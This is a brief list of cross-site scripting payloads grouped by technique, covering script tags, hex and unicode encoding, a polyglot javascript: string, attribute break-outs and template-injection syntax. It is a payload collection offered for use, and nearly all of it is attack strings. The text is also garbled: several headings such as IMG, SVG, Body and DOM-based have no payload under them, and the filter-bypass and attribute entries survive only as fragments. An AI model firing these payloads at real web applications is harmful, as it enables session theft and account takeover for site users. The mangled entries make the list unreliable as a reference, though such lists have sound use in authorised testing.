# XSS (Cross-Site Scripting) Payloads # Basic XSS # IMG tag XSS # SVG XSS # Body tag XSS # Input tag XSS # Event handler XSS test click link # Encoded XSS <script>alert('XSS')</script> \x3cscript\x3ealert('XSS')\x3c/script\x3e \u003cscript\u003ealert('XSS')\u003c/script\u003e # JavaScript protocol click # DOM-based XSS # Filter bypass ipt>alert(1)ipt> # Polyglot XSS javascript:"/*'/*`/*--> jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e # Attribute-based XSS "> '> "> '> # Template injection XSS {{alert(1)}} ${alert(1)} <%= alert(1) %> {alert(1)}